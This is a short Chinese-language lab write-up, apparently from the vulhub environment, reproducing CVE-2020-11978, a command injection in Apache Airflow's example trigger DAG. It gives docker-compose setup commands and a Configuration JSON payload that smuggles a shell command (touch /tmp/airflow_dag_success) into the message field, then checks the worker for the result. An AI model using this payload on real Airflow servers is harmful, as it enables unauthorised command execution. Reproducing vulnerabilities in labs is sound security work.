CVE-2020-11978

Apache Airflow 示例dag中的命令注入（CVE-2020-11978）

Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞，未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

漏洞复现

cd vulhub/airflow/CVE-2020-11978
#初始化数据库
docker-compose run airflow-init
docker-compose up -d

漏洞复现

访问http://10.10.10.8:8080进入airflow管理端，将example_trigger_dag前面的Off该为On：

再点击执行按钮，在Configuration JSON中输入：{"message":"'";touch /tmp/airflow_dag_success;#"}，再点Trigger执行dag：

等几秒可以看到执行成功：

到CeleryWorker容器中进行查看：

docker-compode exec airflow-worker ls -l /tmp

可以看到touch /tmp/airflow_dag_success成功被执行：